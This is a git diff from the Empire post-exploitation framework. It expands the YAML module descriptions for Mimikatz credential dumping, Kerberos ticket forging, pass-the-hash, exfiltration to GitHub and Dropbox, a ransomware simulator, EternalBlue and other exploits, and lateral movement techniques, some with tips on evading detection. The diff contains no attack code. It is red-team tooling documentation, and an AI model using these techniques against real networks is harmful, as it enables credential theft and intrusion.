a/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/dcsync_hashdump.yaml @@ -1,4 +1,4 @@ -name: Invoke-Mimikatz DCsync - Full Hashdump +name: Invoke-Mimikatz DCSyncHashdump authors: - name: Benjamin Delpy handle: '@gentilkiwi' @@ -15,9 +15,12 @@ authors: - name: '' handle: '@monoxgas' link: '' -description: Runs PowerSploit's Invoke-Mimikatz function to collect all domain hashes - using Mimikatz'slsadump::dcsync module. This doesn't need code execution on a given - DC, but needs to be run froma user context with DA equivalent privileges. +description: | + Performs comprehensive DCSync attack to extract all domain account hashes using + Mimikatz's lsadump::dcsync functionality. Extracts password hashes for all users, + computers, and service accounts in the domain without requiring code execution + on a domain controller. Requires Domain Administrator or equivalent privileges + and can optionally include machine accounts and forest-wide accounts. software: S0002 tactics: [TA0006] techniques: [T1003.006, T1550.003, T1558.001, T1558.002] diff --git a/empire/server/modules/powershell/credentials/mimikatz/extract_tickets.yaml b/empire/server/modules/powershell/credentials/mimikatz/extract_tickets.yaml index 73fe93cae..b4fd4e684 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/extract_tickets.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/extract_tickets.yaml @@ -1,4 +1,4 @@ -name: Invoke-Mimikatz extract kerberos tickets. +name: Invoke-Mimikatz ExtractTickets authors: - name: Joseph Bialek handle: '@JosephBialek' @@ -6,8 +6,11 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to extract kerberos tickets - from memory in base64-encoded form. +description: | + Extracts Kerberos tickets from memory in base64-encoded format using Mimikatz's + kerberos::list /export functionality. Dumps all cached Kerberos tickets including + TGTs and service tickets from the current session's Kerberos cache. The tickets + are exported in base64 format for easy transfer and reuse on other systems. software: S0002 tactics: [TA0006] techniques: [T1003.001] diff --git a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.yaml b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.yaml index 32a57f873..ba99c64a3 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/golden_ticket.yaml @@ -6,8 +6,14 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to generate a golden ticket - and inject it into memory. +description: | + Creates and injects a Golden Ticket into memory using Mimikatz's kerberos::golden + functionality. Golden Tickets are forged Kerberos TGT (Ticket Granting Ticket) + that provide unlimited access to domain resources. Requires the krbtgt account + hash and domain SID to forge tickets that impersonate any user with any group + memberships. The forged ticket is injected into the current session's Kerberos + cache, allowing access to any service in the domain without requiring additional + authentication. software: S0002 tactics: [TA0006] techniques: [T1558.001] diff --git a/empire/server/modules/powershell/credentials/mimikatz/keys.yaml b/empire/server/modules/powershell/credentials/mimikatz/keys.yaml index 75edf1841..ab49c881c 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/keys.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/keys.yaml @@ -6,8 +6,13 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to extract all keys to the - local directory. +description: | + Extracts all cryptographic keys from the local machine using Mimikatz's crypto::keys + functionality. Dumps private keys, symmetric keys, and other cryptographic material + stored in the Windows CryptoAPI and CNG providers. Extracts keys that can be used + for decryption, code signing, or other cryptographic operations. Essential for + understanding the cryptographic landscape and identifying potential decryption + opportunities. software: S0002 tactics: [TA0006] techniques: [T1003.004, T1552.002, T1555.004, T1134.001] diff --git a/empire/server/modules/powershell/credentials/mimikatz/logonpasswords.yaml b/empire/server/modules/powershell/credentials/mimikatz/logonpasswords.yaml index 08d7d32ab..8f937df33 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/logonpasswords.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/logonpasswords.yaml @@ -7,7 +7,12 @@ authors: handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi description: | - Runs PowerSploit's Invoke-Mimikatz function to extract plaintext credentials from memory. + Extracts plaintext credentials from Windows memory using Mimikatz's sekurlsa::logonpasswords + functionality. Dumps cleartext passwords, NTLM hashes, and Kerberos tickets from + the Local Security Authority Subsystem Service (LSASS) memory. Extracts credentials + for all logged-on users including domain accounts, cached domain credentials, and + service account passwords. The technique leverages Windows memory structures to + bypass security controls to extract authentication data. software: S0002 tactics: [TA0006] techniques: [T1003.001, T1003.004, T1134.001] diff --git a/empire/server/modules/powershell/credentials/mimikatz/lsadump.yaml b/empire/server/modules/powershell/credentials/mimikatz/lsadump.yaml index f70604a1c..90255337d 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/lsadump.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/lsadump.yaml @@ -6,8 +6,13 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to extract a particular - user hash from memory. Useful on domain controllers. +description: | + Extracts specific user hashes from Local Security Authority (LSA) memory using + Mimikatz's lsadump::lsa functionality. Dumps password hashes for local accounts + and cached domain credentials stored in LSA memory. Particularly effective on + domain controllers where it can extract hashes for all domain accounts. Can target + specific users or extract all available hashes. The technique leverages Windows + LSA structures to bypass security controls and extract authentication data. software: S0002 tactics: [TA0006] techniques: [T1003.001, T1003.004, T1134.001] diff --git a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.yaml b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.yaml index 3171ecaad..872893057 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/mimitokens.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/mimitokens.yaml @@ -6,7 +6,12 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to list or enumerate tokens. +description: | + Enumerates and manipulates Windows security tokens using Mimikatz's token::list + and token::elevate functionality. Lists all available tokens on the system and + can elevate to specific user tokens including local administrators and domain + administrators. Can impersonate specific users or revert to original token + context. software: S0002 tactics: [TA0004] techniques: [T1134.001, T1134.003] diff --git a/empire/server/modules/powershell/credentials/mimikatz/pth.yaml b/empire/server/modules/powershell/credentials/mimikatz/pth.yaml index 4d3589d57..12253c207 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/pth.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/pth.yaml @@ -6,9 +6,14 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to execute sekurlsa::pth - to create a new process. with a specific user's hash. Use credentials/tokens to - steal the token afterwards. +description: | + Performs Pass-the-Hash (PTH) attack using Mimikatz's sekurlsa::pth functionality + to create a new process with a specific user's NTLM hash. Creates a new process + with the specified user's credentials without requiring the plaintext password. + The new process runs with the impersonated user's security context, allowing + access to resources that the target user has permissions to access. Essential + for lateral movement and privilege escalation when only password hashes are + available instead of plaintext credentials. software: S0002 tactics: [TA0004] techniques: [T1550.002, T1528] diff --git a/empire/server/modules/powershell/credentials/mimikatz/purge.yaml b/empire/server/modules/powershell/credentials/mimikatz/purge.yaml index 8def27bd9..46a1afdb9 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/purge.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/purge.yaml @@ -1,4 +1,4 @@ -name: Invoke-Mimikatz Golden Ticket +name: Invoke-Mimikatz Purge authors: - name: Joseph Bialek handle: '@JosephBialek' @@ -6,8 +6,11 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to purge all current kerberos - tickets from memory. +description: | + Purges all current Kerberos tickets from memory using Mimikatz's kerberos::purge + functionality. Removes all cached Kerberos tickets including TGTs and service + tickets from the current session's Kerberos cache. Useful for clearing authentication + state, removing forged tickets, or preparing for new ticket injection. software: S0002 tactics: [TA0005] techniques: [T1078.002] diff --git a/empire/server/modules/powershell/credentials/mimikatz/sam.yaml b/empire/server/modules/powershell/credentials/mimikatz/sam.yaml index 708047344..9aabd6382 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/sam.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/sam.yaml @@ -6,8 +6,12 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to extract hashes from the - Security Account Managers (SAM) database. +description: | + Extracts password hashes from the Security Account Manager (SAM) database using + Mimikatz's lsadump::sam functionality. Dumps NTLM and LM hashes for all local + user accounts stored in the SAM registry hive. Requires elevated privileges + to access the SAM database and extracts hashes that can be used for password + cracking or pass-the-hash attacks. software: S0002 tactics: [TA0006] techniques: [T1003.002] diff --git a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.yaml b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.yaml index b968b8422..a30fd89d9 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/silver_ticket.yaml @@ -6,8 +6,14 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to generate a silver ticket - for a server/service and inject it into memory. +description: | + Creates and injects a Silver Ticket into memory using Mimikatz's kerberos::golden + functionality. Silver Tickets are forged Kerberos service tickets that provide + access to specific services on target machines. Requires the target machine's + NTLM hash and domain SID to forge service tickets that impersonate any user + for specific services (CIFS, HOST, etc.). The forged ticket is injected into + the current session's Kerberos cache, allowing access to the specified service + without requiring additional authentication. software: S0002 tactics: [TA0006] techniques: [T1558.002] diff --git a/empire/server/modules/powershell/credentials/mimikatz/terminal_server.yaml b/empire/server/modules/powershell/credentials/mimikatz/terminal_server.yaml index 9f0c1322a..caef2ffd3 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/terminal_server.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/terminal_server.yaml @@ -1,4 +1,4 @@ -name: Invoke-Mimikatz Dump Terminal Server Passwords +name: Invoke-Mimikatz TerminalServer authors: - name: Joseph Bialek handle: '@JosephBialek' @@ -7,7 +7,12 @@ authors: handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi description: | - Runs PowerSploit's Invoke-Mimikatz function to extract plaintext RDP credentials from memory. + Extracts plaintext RDP credentials from memory using Mimikatz's ts::logonpasswords + functionality. Dumps cleartext passwords for users who have logged into the system + via Remote Desktop Protocol (RDP). Extracts credentials stored in the Terminal + Services memory structures that can be used for lateral movement or privilege + escalation. Essential for credential harvesting from systems that have been + accessed via RDP. software: S0002 tactics: [TA0006] techniques: [T1003.001] diff --git a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.yaml b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.yaml index a2978037b..f96ea4fe8 100644 --- a/empire/server/modules/powershell/credentials/mimikatz/trust_keys.yaml +++ b/empire/server/modules/powershell/credentials/mimikatz/trust_keys.yaml @@ -6,8 +6,12 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: Runs PowerSploit's Invoke-Mimikatz function to extract domain trust - keys from a domain controller. +description: | + Extracts domain trust keys from a domain controller using Mimikatz's lsadump::trust + or sekurlsa::trust functionality. Domain trust keys are used to establish trust + relationships between domains and can be used to forge inter-domain authentication + tickets. Extracts trust keys that can be used for cross-domain attacks and lateral + movement between trusted domains. software: S0002 tactics: [TA0006] techniques: [T1003.001] diff --git a/empire/server/modules/powershell/credentials/powerdump.yaml b/empire/server/modules/powershell/credentials/powerdump.yaml index 7ed9e8d26..1fece3ed3 100644 --- a/empire/server/modules/powershell/credentials/powerdump.yaml +++ b/empire/server/modules/powershell/credentials/powerdump.yaml @@ -15,8 +15,14 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Dumps hashes from the local system using an updated version of Posh-SecMod's - Invoke-PowerDump. +description: | + Extracts password hashes from the local Windows system using an updated version + of Posh-SecMod's Invoke-PowerDump. Dumps SAM hashes, cached domain credentials, + and LSA secrets including service account passwords and domain cached credentials. + Extracts NTLM hashes, LM hashes, and other authentication data that can be used + for password cracking, pass-the-hash attacks, and lateral movement. The module + leverages Windows API calls to extract hashes from memory and registry locations + where Windows stores authentication information. software: '' tactics: [TA0006] techniques: [T1003.002, T1003.004, T1555.003] diff --git a/empire/server/modules/powershell/credentials/sessiongopher.yaml b/empire/server/modules/powershell/credentials/sessiongopher.yaml index 301dde1e0..cdd39d6d5 100644 --- a/empire/server/modules/powershell/credentials/sessiongopher.yaml +++ b/empire/server/modules/powershell/credentials/sessiongopher.yaml @@ -3,8 +3,13 @@ authors: - name: '' handle: '@arvanaghi' link: '' -description: Extract saved sessions & passwords for WinSCP, PuTTY, SuperPuTTY, FileZilla, - RDP, .ppk files, .rdp files, .sdtid files +description: | + Extracts saved sessions and passwords from various remote access and file transfer + applications including WinSCP, PuTTY, SuperPuTTY, FileZilla, and RDP connections. + Searches for stored credentials in registry keys, configuration files, and + saved session files (.ppk, .rdp, .sdtid). Can perform thorough filesystem searches + and target multiple systems across a domain using WMI. Extracts both cleartext + and encrypted credentials that users have saved for convenience. software: '' tactics: [TA0006, TA0007] techniques: [T1081.001, T1552.002] @@ -15,7 +20,6 @@ opsec_safe: true language: powershell min_language_version: '2' comments: - - 'Twitter: @arvanaghi' - https://arvanaghi.com - https://github.com/fireeye/SessionGopher options: diff --git a/empire/server/modules/powershell/credentials/sharpsecdump.yaml b/empire/server/modules/powershell/credentials/sharpsecdump.yaml index 542eaffb3..6ba061727 100644 --- a/empire/server/modules/powershell/credentials/sharpsecdump.yaml +++ b/empire/server/modules/powershell/credentials/sharpsecdump.yaml @@ -6,8 +6,14 @@ authors: - name: '' handle: '@S3cur3Th1sSh1t' link: https://twitter.com/ShitSecure -description: .Net port of the remote SAM + LSA Secrets dumping functionality of impacket's - secretsdump.py. By default runs in the context of the current user. +description: | + .NET implementation of Impacket's secretsdump.py functionality for remotely + extracting SAM hashes and LSA secrets from Windows systems. Dumps password + hashes, cached credentials, and LSA secrets including service account passwords + and domain cached credentials. Can target multiple remote systems concurrently + using threading and supports alternate credentials for authentication. Extracts + NTLM hashes, LM hashes, and cached domain credentials that can be used for + password cracking, pass-the-hash attacks, and lateral movement. software: '' tactics: [TA0006] techniques: [T1003.001, T1003.002, T1003.003, T1003.004] diff --git a/empire/server/modules/powershell/credentials/tokens.yaml b/empire/server/modules/powershell/credentials/tokens.yaml index c18d9181e..8dd48d47c 100644 --- a/empire/server/modules/powershell/credentials/tokens.yaml +++ b/empire/server/modules/powershell/credentials/tokens.yaml @@ -3,10 +3,15 @@ authors: - name: Joseph Bialek handle: '@JosephBialek' link: https://twitter.com/JosephBialek -description: "Runs PowerSploit's Invoke-TokenManipulation to enumerate Logon Tokens - available and uses them to create new processes. Similar to Incognito's functionality. - Note: if you select ImpersonateUser or CreateProcess, you must specify one of Username, - ProcessID, Process, or ThreadId." +description: | + Performs Windows token manipulation to enumerate available logon tokens and + impersonate other users or create processes with elevated privileges. Enumerates + all available tokens on the system and can impersonate specific user tokens + to execute code in their security context. Similar to the Incognito functionality + in Metasploit, allowing attackers to leverage existing authenticated sessions + without requiring additional credentials. Can create new processes with elevated + privileges or impersonate specific users for lateral movement and privilege + escalation. software: S0194 tactics: [TA0004] techniques: [T1134] diff --git a/empire/server/modules/powershell/credentials/vault_credential.yaml b/empire/server/modules/powershell/credentials/vault_credential.yaml index c65057869..b2a93a721 100644 --- a/empire/server/modules/powershell/credentials/vault_credential.yaml +++ b/empire/server/modules/powershell/credentials/vault_credential.yaml @@ -3,8 +3,13 @@ authors: - name: Matt Graeber handle: '@mattifestation' link: https://twitter.com/mattifestation -description: Runs PowerSploit's Get-VaultCredential to display Windows vault credential - objects including cleartext web credentials. +description: | + Extracts credentials from Windows Credential Manager vaults including web credentials, + domain credentials, and other stored authentication data. The Windows Credential + Manager stores encrypted credentials that can be decrypted using Windows Data + Protection API (DPAPI). Extracts both cleartext web credentials and other stored + authentication information that users have saved for various applications and + services. software: S0194 tactics: [TA0006] techniques: [T1555.004] diff --git a/empire/server/modules/powershell/exfiltration/Invoke_ExfilDataToGitHub.yaml b/empire/server/modules/powershell/exfiltration/Invoke_ExfilDataToGitHub.yaml index 332983ea7..3f852cd20 100644 --- a/empire/server/modules/powershell/exfiltration/Invoke_ExfilDataToGitHub.yaml +++ b/empire/server/modules/powershell/exfiltration/Invoke_ExfilDataToGitHub.yaml @@ -3,8 +3,12 @@ authors: - name: Nga Hoang handle: '' link: '' -description: Use this module to exfil files and data to GitHub. Requires the pre-generation - of a GitHub Personal Access Token. +description: | + Exfiltrates data to GitHub repositories using authenticated REST API + calls with Personal Access Tokens (PAT). Supports both file uploads (LocalFilePath) + and direct data insertion (Data), including recursive directory uploads and file + filtering (e.g., *.pdf). The PAT is provided as a Base64-encoded string to minimize + credential exposure. software: '' tactics: [TA0010] techniques: [T1567.001] diff --git a/empire/server/modules/powershell/exfiltration/PSRansom.yaml b/empire/server/modules/powershell/exfiltration/PSRansom.yaml index d45320ec4..e8575225c 100644 --- a/empire/server/modules/powershell/exfiltration/PSRansom.yaml +++ b/empire/server/modules/powershell/exfiltration/PSRansom.yaml @@ -3,7 +3,11 @@ authors: - name: '' handle: '@JoelGMSec' link: '' -description: PSRansom is a PowerShell Ransomware Simulator with C2 Server capabilities. +description: | + PowerShell-based ransomware simulator that encrypts and decrypts files + using AES-256 with optional recovery key support. Supports C2 exfiltration of + data during encryption and includes a demonstration mode that changes the desktop + wallpaper and displays a ransom note popup. software: '' tactics: [TA0040] techniques: [T1486, T1491.001, T1140, T1083] diff --git a/empire/server/modules/powershell/exfiltration/egresscheck.yaml b/empire/server/modules/powershell/exfiltration/egresscheck.yaml index 0ae89eac8..e6b9f7114 100644 --- a/empire/server/modules/powershell/exfiltration/egresscheck.yaml +++ b/empire/server/modules/powershell/exfiltration/egresscheck.yaml @@ -3,8 +3,12 @@ authors: - name: Stuart Morgan handle: '' link: '' -description: This module will generate traffic on a provided range of ports and supports - both TCP and UDP. Useful to identify direct egress channels. +description: | + Tests network egress filtering by attempting outbound connections across + specified ports and protocols (TCP/UDP). Identifies allowed or blocked egress + paths for C2 communication, supports port ranges (e.g., 22-25), and allows custom + delays between connection attempts. Useful for bypassing firewall restrictions, + identifying accidental port openings, and planning exfiltration routes. software: '' tactics: [TA0007] techniques: [T1016.001] diff --git a/empire/server/modules/powershell/exfiltration/exfil_dropbox.yaml b/empire/server/modules/powershell/exfiltration/exfil_dropbox.yaml index dcd40da0f..3855949b8 100644 --- a/empire/server/modules/powershell/exfiltration/exfil_dropbox.yaml +++ b/empire/server/modules/powershell/exfiltration/exfil_dropbox.yaml @@ -6,7 +6,11 @@ authors: - name: Laurent Kempe handle: '' link: '' -description: 'Upload a file to dropbox ' +description: | + Uploads files to Dropbox via the v2 API using OAuth 2.0 (Bearer token) + for authentication, supporting controlled exfiltration or staging. Allows file + overwrite or autorename through API parameters, operates over HTTPS to blend + with legitimate traffic, and preserves original file timestamps and metadata. software: '' tactics: [TA0010] techniques: [T1567.002] diff --git a/empire/server/modules/powershell/exploitation/exploit_eternalblue.yaml b/empire/server/modules/powershell/exploitation/exploit_eternalblue.yaml index 60a95ada2..32d47b360 100644 --- a/empire/server/modules/powershell/exploitation/exploit_eternalblue.yaml +++ b/empire/server/modules/powershell/exploitation/exploit_eternalblue.yaml @@ -9,9 +9,14 @@ authors: - name: kdick@tevora.com (e0x70i) handle: '' link: '' -description: 'Port of MS17_010 Metasploit module to powershell. Exploits targeted - system and executes specified shellcode. Windows 7 and 2008 R2 supported. Potential - for a BSOD ' +description: | + Exploits MS17-010 (EternalBlue) vulnerability in SMBv1 to execute arbitrary + shellcode on vulnerable Windows systems. Targets Windows 7 and Windows Server + 2008 R2 systems that have not been patched against the SMB vulnerability. + Leverages a kernel-level exploit to achieve remote code execution without + authentication. Supports custom shellcode injection and configurable exploit + parameters including groom attempts and initial groom count. Note: This exploit + has a potential for causing system crashes (BSOD) and should be used with caution. software: '' tactics: [TA0008] techniques: [T1210] diff --git a/empire/server/modules/powershell/exploitation/exploit_jboss.yaml b/empire/server/modules/powershell/exploitation/exploit_jboss.yaml index 2c1407b46..cd06c7150 100644 --- a/empire/server/modules/powershell/exploitation/exploit_jboss.yaml +++ b/empire/server/modules/powershell/exploitation/exploit_jboss.yaml @@ -3,7 +3,15 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: Exploit vulnerable JBoss Services. +description: | + Exploits vulnerable JBoss Application Server services to deploy malicious + WAR files and achieve remote code execution. Targets JBoss instances with + exposed management interfaces including JMX Console and Web Console. + Supports deployment of custom WAR files containing malicious payloads + that can execute arbitrary code on the target system. Can exploit both + HTTP and HTTPS endpoints and supports various JBoss service configurations. + Essential for initial access and command execution on vulnerable JBoss + application servers. software: '' tactics: [TA0008] techniques: [T1210] diff --git a/empire/server/modules/powershell/exploitation/exploit_jenkins.yaml b/empire/server/modules/powershell/exploitation/exploit_jenkins.yaml index 55b58c480..d8b3acab2 100644 --- a/empire/server/modules/powershell/exploitation/exploit_jenkins.yaml +++ b/empire/server/modules/powershell/exploitation/exploit_jenkins.yaml @@ -3,7 +3,13 @@ authors: - name: '' handle: '@luxcupitor' link: '' -description: Run command on unauthenticated Jenkins Script consoles. +description: | + Exploits unauthenticated Jenkins Script Console to execute arbitrary commands + on the target system. Targets Jenkins instances that have the Script Console + enabled without proper authentication controls. Allows remote code execution + by leveraging the Groovy script execution capability in Jenkins. Can execute + system commands, PowerShell scripts, or other payloads depending on the + target system configuration. software: '' tactics: [TA0008] techniques: [T1210] diff --git a/empire/server/modules/powershell/exploitation/invoke_spoolsample.yaml b/empire/server/modules/powershell/exploitation/invoke_spoolsample.yaml index 6f467c47c..a5e4f7a2c 100644 --- a/empire/server/modules/powershell/exploitation/invoke_spoolsample.yaml +++ b/empire/server/modules/powershell/exploitation/invoke_spoolsample.yaml @@ -7,7 +7,12 @@ authors: handle: '@kevin' link: '' description: | - Runs SpoolSample C# binary through reflection + Performs SpoolSample attack using C# binary reflection to exploit Windows + Print Spooler service for NTLM relay attacks. Forces a target system to + authenticate to a specified capture server by sending MS-RPRN (Print System + Remote Protocol) requests. The target system will attempt to authenticate + to the capture server, allowing for NTLM hash capture and potential relay + attacks. software: tactics: [TA0006. TA0009] techniques: [T1550.002, T1557.001, T1557.002, T1187] diff --git a/empire/server/modules/powershell/lateral_movement/invoke_dcom.yaml b/empire/server/modules/powershell/lateral_movement/invoke_dcom.yaml index 63325c338..a1ca5b604 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_dcom.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_dcom.yaml @@ -3,7 +3,15 @@ authors: - name: '' handle: '@rvrsh3ll' link: '' -description: Execute a stager or command on remote hosts using DCOM. +description: | + Executes commands or Empire stagers on remote hosts using Distributed + Component Object Model (DCOM) for lateral movement. DCOM provides object-oriented + interfaces that can be remotely executed with appropriate permissions (typically + admin) without triggering suspicious processes like PsExec. This module supports + multiple COM application methods including MMC20.Application, ShellWindows, ShellBrowserWindow, + and ExcelDDE, allowing flexibility to evade detection or adapt to different target + environments. It's an effective technique for establishing remote access when WMI + or other methods are monitored but DCOM isn't explicitly blocked. software: '' tactics: [TA0008] techniques: [T1021.003] diff --git a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.yaml b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.yaml index fdacc5bed..38270b2ed 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_executemsbuild.yaml @@ -3,8 +3,22 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: This module utilizes WMI and MSBuild to compile and execute an xml file - containing an Empire launcher +description: | + Executes PowerShell commands or Empire stagers on remote targets using + MSBuild, Microsoft's build engine for .NET applications. This technique leverages + MSBuild's ability to compile and execute inline C# code from XML project files, + bypassing application allowlisting solutions that may block PowerShell.exe but + trust MSBuild.exe. + + The module creates a specially crafted XML file that embeds + the payload within an MSBuild project, then remotely triggers MSBuild to process + this file, executing the payload in memory. Since MSBuild is a trusted Microsoft-signed + binary (LOLBins technique), this execution method often evades traditional detection + methods that focus on suspicious process lineage. + + Best used in environments + where PowerShell execution is monitored or restricted but MSBuild.exe is available + and not heavily monitored. software: '' tactics: [TA0002, TA0005, TA0008] techniques: [T1127.001, T1047, T1021.006] diff --git a/empire/server/modules/powershell/lateral_movement/invoke_portfwd.yaml b/empire/server/modules/powershell/lateral_movement/invoke_portfwd.yaml index d74fdf0f6..cac5a9bd6 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_portfwd.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_portfwd.yaml @@ -3,7 +3,22 @@ authors: - name: '' handle: '@decoder-it' link: '' -description: Forward a port with no admin rights required. +description: | + Creates a dynamic port forwarding tunnel using the SSH protocol, allowing + traffic to be redirected through an intermediary host to reach otherwise inaccessible + network segments. This module establishes a SOCKS proxy on the local system that + routes traffic through the SSH connection to the target. + + This technique is + particularly useful for pivoting through compromised hosts to access isolated + network segments, perform internal network reconnaissance, or interact with services + that are not directly accessible from the operator's position. + + The module requires + SSH credentials or key-based authentication to the intermediary host. Once established, + other tools can be configured to use the SOCKS proxy, effectively extending their + reach into previously inaccessible network areas without requiring direct network + connectivity. software: '' tactics: [TA0011] techniques: [T1090.001] diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psexec.yaml b/empire/server/modules/powershell/lateral_movement/invoke_psexec.yaml index bbc2897a2..e8cbe2888 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psexec.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_psexec.yaml @@ -3,7 +3,22 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Executes a stager on remote hosts using PsExec type functionality. +description: | + Executes commands or Empire stagers on remote systems using a modified + implementation of the PsExec technique. Unlike Sysinternals PsExec, this PowerShell + implementation creates a service on the remote system that executes the specified + payload, then removes the service to eliminate evidence of execution. + + The + module requires administrative credentials on the target system and uses SMB for + connectivity, operating over standard ports (445/TCP). It supports both plaintext + credentials and NTLM hashes (pass-the-hash) for authentication. + + While effective + for lateral movement, this technique has significant OPSEC considerations as + it creates artifacts including Windows service creation events, service binary + writes, and potentially suspicious process execution chains. Modern EDR and monitoring + solutions often specifically watch for PsExec-style execution patterns. software: S0029 tactics: [TA0008] techniques: [T1569.002, T1021.002] diff --git a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.yaml b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.yaml index 5a1ab717e..a8786d489 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_psremoting.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_psremoting.yaml @@ -3,7 +3,23 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Executes a stager on remote hosts using PSRemoting. +description: | + Executes PowerShell commands or Empire stagers on remote hosts using + Windows PowerShell Remoting (WinRM). This technique leverages the built-in remote + management functionality of modern Windows systems, which operates over HTTP/HTTPS + (5985/5986). + + PowerShell Remoting provides a native + alternative to other lateral movement techniques as it uses legitimate administration + channels that may be expected in enterprise environments. The module requires + administrative credentials on the target and that PowerShell Remoting is enabled + (default on server installations since Windows Server 2012). + + The module supports + both interactive sessions and one-time command execution. PowerShell Remoting + traffic is encrypted by default, providing additional security for command and + output transmission, but may be subject to detection through PowerShell logging, + ETW, or network traffic analysis if specifically monitored. software: '' tactics: [TA0008] techniques: [T1059.001, T1021.006, T1570] diff --git a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.yaml b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.yaml index f61adbdf5..a3e342234 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_smbexec.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_smbexec.yaml @@ -3,8 +3,25 @@ authors: - name: '' handle: '@rvrsh3ll' link: '' -description: Executes a stager on remote hosts using SMBExec.ps1. This module requires - a username and NTLM hash +description: | + Executes commands or Empire stagers on remote systems using the SMBExec + technique, a lateral movement method that creates and leverages a service on + the target system similar to PsExec but with some OPSEC improvements. + + Unlike + traditional PsExec, SMBExec avoids writing the payload to disk by leveraging command + output redirection through SMB named pipes. It creates a Windows service that + executes the command and redirects output over SMB back to the attacker, then removes + the service to clean up evidence. + + This technique requires administrative credentials + (or equivalent) on the target system and functions over standard SMB ports (445/TCP). + It supports both plaintext credentials and NTLM hashes for authentication via + pass-the-hash techniques. + + While more stealthy than traditional PsExec, SMBExec + still generates Windows service creation events and may be detected by security + monitoring focused on service creation patterns and suspicious command execution. software: '' tactics: [TA0008] techniques: [T1021.002, T1569.002, T1078.002] diff --git a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.yaml b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.yaml index a4d071509..ec8098134 100644 --- a/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.yaml +++ b/empire/server/modules/powershell/lateral_movement/invoke_sqloscmd.yaml @@ -6,7 +6,26 @@ authors: - name: '' handle: '@0xbadjuju' link: '' -description: Executes a command or stager on remote hosts using xp_cmdshell. +description: | + Executes commands or Empire stagers on remote systems by leveraging + 